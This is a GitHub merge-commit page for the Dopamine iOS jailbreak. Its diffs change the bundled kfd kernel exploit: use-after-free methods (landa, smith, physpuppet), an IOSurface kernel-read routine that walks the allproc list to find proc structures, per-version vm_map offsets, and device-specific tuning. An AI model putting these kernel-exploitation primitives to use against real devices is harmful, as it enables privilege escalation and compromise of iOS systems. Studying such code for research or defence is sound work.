Skip to content

Commit b2f3e10

Browse files
Deci8BelioSDeci8BelioS
authored
Merge branch 'opa334:2.x' into 2.x
2 parents 95f2b77 + 9cfe9ce commit b2f3e10

File tree

173 files changed

+8022
-705
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

173 files changed

+8022
-705
lines changed

‎.gitignore

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,8 @@ xcshareddata/
66
DerivedData/
77
.swiftpm/xcode/
88
/Package.resolved
9-
/Server/orig.ipa
10-
/Server/serverCert/fullchain.cer
11-
/Server/serverCert/server.key
129
Dopamine/Dopamine/bootstrap/tmp/
10+
Application/Payload
1311
.idea
1412
Tools/fastPathSign/.build_*
1513
Exploits/kfd/kfd.framework/kfd

‎Application/Dopamine.xcodeproj/project.pbxproj

Lines changed: 656 additions & 14 deletions
Large diffs are not rendered by default.

‎Application/Dopamine/Dependencies/libcurl.a

-4.25 MB
Binary file not shown.

‎Application/Dopamine/Dependencies/libfragmentzip.a

-30.8 KB
Binary file not shown.

‎Application/Dopamine/Dependencies/libgrabkernel.a

-19.8 KB
Binary file not shown.

‎Application/Dopamine/Dependencies/libgrabkernel2.a

43.1 KB
Binary file not shown.

‎Application/Dopamine/Dependencies/libpartial.a

71.5 KB
Binary file not shown.

‎Application/Dopamine/Dopamine.entitlements

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,8 +36,13 @@
3636
<array>
3737
<string>AGXDevice</string>
3838
<string>AGXDeviceUserClient</string>
39+
<string>AGXSharedUserClient</string>
40+
<string>AGXGLContext</string>
41+
<string>AGXCommandQueue</string>
3942
<string>IOSurfaceRoot</string>
4043
<string>IOSurfaceRootUserClient</string>
44+
<string>AppleJPEGDriverUserClient</string>
45+
<string>H11ANEInDirectPathClient</string>
4146
</array>
4247
<key>com.apple.developer.kernel.extended-virtual-addressing</key>
4348
<true/>

‎Application/Dopamine/Exploits/kfd/Exploit/libkfd/info/dynamic_info.h

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ struct dynamic_info {
1212
u64 kernelcache__static_base;
1313
// struct proc
1414
u64 proc__p_list__le_prev;
15+
u64 proc__p_list__le_next;
1516
u64 proc__task;
1617
u64 proc__p_pid;
1718
u64 proc__p_fd__fd_ofiles;
@@ -40,6 +41,8 @@ struct dynamic_info {
4041
u64 IOSurface__useCountPtr;
4142
u64 IOSurface__indexedTimestampPtr;
4243
u64 IOSurface__readDisplacement;
44+
// kernelcache static addresses (IOSurface)
45+
u64 kernelcache__allproc;
4346
// kernelcache static addresses (perf)
4447
u64 kernelcache__cdevsw; // "spec_open type" or "Can't mark ptc as kqueue ok"
4548
u64 kernelcache__gPhysBase; // "%s: illegal PA: 0x%llx; phys base 0x%llx, size 0x%llx"

‎Application/Dopamine/Exploits/kfd/Exploit/libkfd/krkw/kread/kread_IOSurface.h

Lines changed: 6 additions & 101 deletions
Original file line numberDiff line numberDiff line change
@@ -116,100 +116,6 @@ static inline int64_t adrp_off(uint32_t adrp)
116116
return sxt64((((((uint64_t)adrp >> 5) & 0x7ffffULL) << 2) | (((uint64_t)adrp >> 29) & 0x3ULL)) << 12, 33);
117117
}
118118

119-
u64 patchfind_kernproc(struct kfd* kfd, u64 kernel_base)
120-
{
121-
//u64 kernel_slide = kernel_base - ARM64_LINK_ADDR;
122-
// ^ only for debugging
123-
124-
u64 textexec_text_addr = 0, textexec_text_size = 0;
125-
get_kernel_section(kfd, kernel_base, "__TEXT_EXEC", "__text", &textexec_text_addr, &textexec_text_size);
126-
assert(textexec_text_addr != 0 && textexec_text_size != 0);
127-
128-
u64 textexec_text_addr_end = textexec_text_addr + textexec_text_size;
129-
130-
// For some reason "mov w8, #0x1006" always follows a kernproc reference, we take advantage of that here
131-
132-
u32 movSearch = 0x528200C8; // "mov w8, #0x1006"
133-
u64 movKaddr = 0;
134-
135-
// this patchfinder is slow af, we start 0x180000 in to speed it up because the reference we're looking for is usually in this area
136-
#define FAST_START 0x180000
137-
138-
u64 instrForward = textexec_text_addr + FAST_START;
139-
u64 instrBackward = instrForward;
140-
141-
while (true) {
142-
if (instrForward < textexec_text_addr_end) {
143-
u32 instr = 0;
144-
kread((u64)kfd, instrForward, &instr, sizeof(instr));
145-
if (instr == movSearch) {
146-
movKaddr = instrForward;
147-
break;
148-
}
149-
instrForward += 4;
150-
}
151-
if (instrBackward > textexec_text_addr) {
152-
u32 instr = 0;
153-
kread((u64)kfd, instrBackward, &instr, sizeof(instr));
154-
if (instr == movSearch) {
155-
movKaddr = instrBackward;
156-
break;
157-
}
158-
instrBackward -= 4;
159-
}
160-
}
161-
162-
// okay this is fucked
163-
// there are two adrp, ldr's following but the problem is that they're apart (sometimes) and only one of them is kernproc
164-
// one ldr is going into some obscure "D<>" register, we need to filter that out, then get the x register of the other one
165-
// then seek back for the adrp that loaded a value into this register, then we need to decode the adrp and the ldr
166-
167-
u64 ldrKaddr = 0;
168-
u32 ldrInstr = 0;
169-
for (u32 i = 0; i < 20; i++) {
170-
u64 addr = movKaddr+(4*i);
171-
u32 instr = 0;
172-
kread((u64)kfd, addr, &instr, sizeof(instr));
173-
if ((instr & 0xFFC00000) == 0xF9400000) { // check if ldr (we automatically filter the shit one out here)
174-
ldrKaddr = addr;
175-
ldrInstr = instr;
176-
break;
177-
}
178-
}
179-
180-
//printf("ldrKaddr: 0x%llx\n", ldrKaddr - kernel_slide);
181-
//printf("ldrInstr: 0x%x\n", ldrInstr);
182-
183-
u32 ldrReg = (ldrInstr & 0x3E0) >> 5;
184-
//printf("ldrReg: %d\n", ldrReg);
185-
186-
u32 adrpFind = 0x90000000 | ldrReg;
187-
u32 adrpFindMask = 0x9F00001F;
188-
189-
u64 adrpKaddr = 0;
190-
u32 adrpInstr = 0;
191-
for (u32 i = 0; i < 30; i++) {
192-
u64 addr = ldrKaddr-(4*i);
193-
u32 instr = 0;
194-
kread((u64)kfd, addr, &instr, sizeof(instr));
195-
if ((instr & adrpFindMask) == adrpFind) {
196-
adrpKaddr = addr;
197-
adrpInstr = instr;
198-
break;
199-
}
200-
}
201-
202-
// We got everything we need! Now just decode and get kernproc
203-
204-
i64 adrp_imm = adrp_off(adrpInstr);
205-
u32 ldr_imm = ((ldrInstr & 0x003FFC00) >> 9) * 4;
206-
207-
//printf("adrp_imm: %lld\n", adrp_imm);
208-
//printf("ldr_imm: 0x%X\n", ldr_imm);
209-
//printf("adrpKaddr page: 0x%llX\n", (adrpKaddr - kernel_slide) & ~0xfff);
210-
211-
return ((adrpKaddr & ~0xfff) + adrp_imm) + ldr_imm;
212-
}
213119

214120
void kread_IOSurface_find_proc(struct kfd* kfd)
215121
{
@@ -244,22 +150,21 @@ void kread_IOSurface_find_proc(struct kfd* kfd)
244150
}
245151

246152
u64 kernel_slide = kernel_base - ARM64_LINK_ADDR;
247-
u64 kernproc = patchfind_kernproc(kfd, kernel_base);
248153
kfd->info.kaddr.kernel_slide = kernel_slide;
154+
u64 allproc = kernel_slide + dynamic_info(kernelcache__allproc);
249155

250156
u64 proc_kaddr = 0;
251-
kread((u64)kfd, kernproc, &proc_kaddr, sizeof(proc_kaddr));
157+
kread((u64)kfd, allproc, &proc_kaddr, sizeof(proc_kaddr));
252158
proc_kaddr = UNSIGN_PTR(proc_kaddr);
253-
kfd->info.kaddr.kernel_proc = proc_kaddr;
254-
255159
while (proc_kaddr != 0) {
256160
u32 pid = (u32)dynamic_kget(proc__p_pid, proc_kaddr);
257161
if (pid == kfd->info.env.pid) {
258162
kfd->info.kaddr.current_proc = proc_kaddr;
259-
break;
260163
}
261-
262-
proc_kaddr = dynamic_kget(proc__p_list__le_prev, proc_kaddr);
164+
else if (pid == 0) {
165+
kfd->info.kaddr.kernel_proc = proc_kaddr;
166+
}
167+
proc_kaddr = dynamic_kget(proc__p_list__le_next, proc_kaddr);
263168
}
264169
}
265170

‎Application/Dopamine/Exploits/kfd/Exploit/libkfd/puaf/landa.h

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,8 @@
55
#ifndef landa_h
66
#define landa_h
77

8-
const u64 landa_vme1_size = pages(1);
9-
const u64 landa_vme2_size = pages(1);
8+
u64 landa_vme1_size = pages(1);
9+
u64 landa_vme2_size = pages(1);
1010
const u64 landa_vme4_size = pages(1);
1111

1212
// Forward declarations for helper functions.
@@ -37,6 +37,18 @@ void landa_init(struct kfd* kfd)
3737
{
3838
kfd->puaf.puaf_method_data_size = sizeof(struct landa_data);
3939
kfd->puaf.puaf_method_data = malloc_bzero(kfd->puaf.puaf_method_data_size);
40+
41+
// use default values for non-A8
42+
landa_vme1_size = pages(1);
43+
landa_vme2_size = pages(1);
44+
cpu_subtype_t cpuFamily = 0;
45+
size_t cpuFamilySize = sizeof(cpuFamily);
46+
sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0);
47+
if (cpuFamily == CPUFAMILY_ARM_TYPHOON) {
48+
// use pages(16) for A8. Not sure why this works.
49+
landa_vme1_size = pages(16);
50+
landa_vme2_size = pages(16);
51+
}
4052
}
4153

4254
void landa_run(struct kfd* kfd)

‎Application/Dopamine/Exploits/kfd/Exploit/libkfd/puaf/smith.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -209,7 +209,7 @@ void smith_free(struct kfd* kfd)
209209
*/
210210
void smith_helper_init(struct kfd* kfd)
211211
{
212-
const u64 target_hole_size = pages(0);
212+
const u64 target_hole_size = pages(10000);
213213
bool found_target_hole = false;
214214

215215
struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);

‎Application/Dopamine/Exploits/kfd/Info.plist

Lines changed: 30 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -7,64 +7,49 @@
77
<key>landa</key>
88
<dict>
99
<key>DPFlavorPriority</key>
10-
<integer>800</integer>
10+
<integer>900</integer>
11+
<key>DPSupportExclude</key>
12+
<array/>
13+
<key>DPSupportInclude</key>
14+
<array/>
1115
<key>DPSupportedRanges</key>
1216
<array>
1317
<dict>
14-
<key>Start</key>
15-
<string>15.0</string>
1618
<key>End</key>
1719
<string>16.6.1</string>
20+
<key>Start</key>
21+
<string>15.0</string>
1822
</dict>
1923
</array>
20-
<key>DPSupportExclude</key>
21-
<array/>
22-
<key>DPSupportInclude</key>
23-
<array/>
2424
</dict>
2525
<key>physpuppet</key>
2626
<dict>
2727
<key>DPFlavorPriority</key>
2828
<integer>1000</integer>
29+
<key>DPSupportExclude</key>
30+
<array/>
31+
<key>DPSupportInclude</key>
32+
<array/>
2933
<key>DPSupportedRanges</key>
3034
<array>
3135
<dict>
32-
<key>Start</key>
33-
<string>15.0</string>
3436
<key>End</key>
3537
<string>15.7.3</string>
38+
<key>Start</key>
39+
<string>15.0</string>
3640
</dict>
3741
<dict>
38-
<key>Start</key>
39-
<string>16.0</string>
4042
<key>End</key>
4143
<string>16.3.1</string>
44+
<key>Start</key>
45+
<string>16.0</string>
4246
</dict>
4347
</array>
44-
<key>DPSupportExclude</key>
45-
<array/>
46-
<key>DPSupportInclude</key>
47-
<array/>
4848
</dict>
4949
<key>smith</key>
5050
<dict>
5151
<key>DPFlavorPriority</key>
5252
<integer>600</integer>
53-
<key>DPSupportedRanges</key>
54-
<array>
55-
<dict>
56-
<key>Start</key>
57-
<string>15.0</string>
58-
<key>End</key>
59-
<string>15.7.6</string>
60-
</dict>
61-
<dict>
62-
<key>Start</key>
63-
<string>16.0</string>
64-
<key>End</key>
65-
<string>16.5</string>
66-
</dict>
67-
</array>
6853
<key>DPSupportExclude</key>
6954
<array/>
7055
<key>DPSupportInclude</key>
@@ -76,11 +61,24 @@
7661
</array>
7762
</dict>
7863
</array>
64+
<key>DPSupportedRanges</key>
65+
<array>
66+
<dict>
67+
<key>End</key>
68+
<string>15.7.6</string>
69+
<key>Start</key>
70+
<string>15.0</string>
71+
</dict>
72+
<dict>
73+
<key>End</key>
74+
<string>16.5</string>
75+
<key>Start</key>
76+
<string>16.0</string>
77+
</dict>
78+
</array>
7979
</dict>
8080
</dict>
8181
<key>DPExploitType</key>
8282
<string>Kernel</string>
83-
<key>CFBundleDisplayName</key>
84-
<string>kfd</string>
8583
</dict>
8684
</plist>

‎Application/Dopamine/Exploits/kfd/kfd.m

Lines changed: 20 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -148,13 +148,25 @@ int exploit_init(const char *flavor)
148148

149149
uint64_t vm_map__pmap = koffsetof(vm_map, pmap);
150150

151+
uint64_t pmap_to_hint = 0; // offset between vm_map->pmap and vm_map->hint
152+
if (@available(iOS 16.0, *)) {
153+
pmap_to_hint = 0x58;
154+
}
155+
else if(@available(iOS 15.4, *)) {
156+
pmap_to_hint = 0x38;
157+
}
158+
else {
159+
pmap_to_hint = 0xB8;
160+
}
161+
151162
dynamic_system_info = (struct dynamic_info){
152163
.kread_kqueue_workloop_ctl_supported = true,
153164
.krkw_iosurface_supported = (kread_method == kread_IOSurface),
154165
.perf_supported = (kread_method != kread_IOSurface || kwrite_method != kwrite_IOSurface),
155166

156167
.kernelcache__static_base = kconstant(staticBase),
157168

169+
.proc__p_list__le_next = koffsetof(proc, list_next),
158170
.proc__p_list__le_prev = koffsetof(proc, list_prev),
159171
.proc__p_pid = koffsetof(proc, pid),
160172
.proc__p_fd__fd_ofiles = koffsetof(proc, fd) + koffsetof(filedesc, ofiles_start),
@@ -170,11 +182,11 @@ int exploit_init(const char *flavor)
170182
.vm_map__hdr_nentries_u64 = koffsetof(vm_map, hdr) + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, max) + 0x8,
171183
.vm_map__hdr_rb_head_store_rbh_root = koffsetof(vm_map, hdr) + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, max) + 0x18,
172184

173-
.vm_map__pmap = vm_map__pmap, // 0x48 or 0x40
174-
.vm_map__hint = vm_map__pmap + 0x58, // 0xa0 or 0x98
175-
.vm_map__hole_hint = vm_map__pmap + 0x60, // 0xa8 or 0xa0
176-
.vm_map__holes_list = vm_map__pmap + 0x68, // 0xb0 or 0xa8
177-
.vm_map__object_size = vm_map__pmap + 0x80, // 0xc8 or 0xc0
185+
.vm_map__pmap = vm_map__pmap,
186+
.vm_map__hint = vm_map__pmap + pmap_to_hint,
187+
.vm_map__hole_hint = vm_map__pmap + pmap_to_hint + 0x8,
188+
.vm_map__holes_list = vm_map__pmap + pmap_to_hint + 0x10,
189+
.vm_map__object_size = vm_map__pmap + pmap_to_hint + 0x28,
178190

179191
.IOSurface__isa = 0x0,
180192
.IOSurface__pixelFormat = 0xa4,
@@ -185,6 +197,8 @@ int exploit_init(const char *flavor)
185197

186198
.thread__thread_id = 0x400, // TODO: Universalize (Only relevant for kread_kqueue_workloop_ctl)
187199

200+
.kernelcache__allproc = ksymbol(allproc),
201+
188202
.kernelcache__cdevsw = ksymbol(cdevsw),
189203
.kernelcache__gPhysBase = ksymbol(gPhysBase),
190204
.kernelcache__gPhysSize = ksymbol(gPhysSize),
@@ -228,7 +242,7 @@ int exploit_init(const char *flavor)
228242
puaf_pages = 160;
229243
}
230244
} else if (cpuFamily == CPUFAMILY_ARM_TYPHOON) { // A8
231-
puaf_pages = 32;
245+
puaf_pages = 256;
232246
}
233247

234248
printf("device info: CPU family: 0x%x, RAM: 0x%010llx, available: 0x%010zx\n", cpuFamily, device_memory, available_memory);

0 commit comments

Comments
 (0)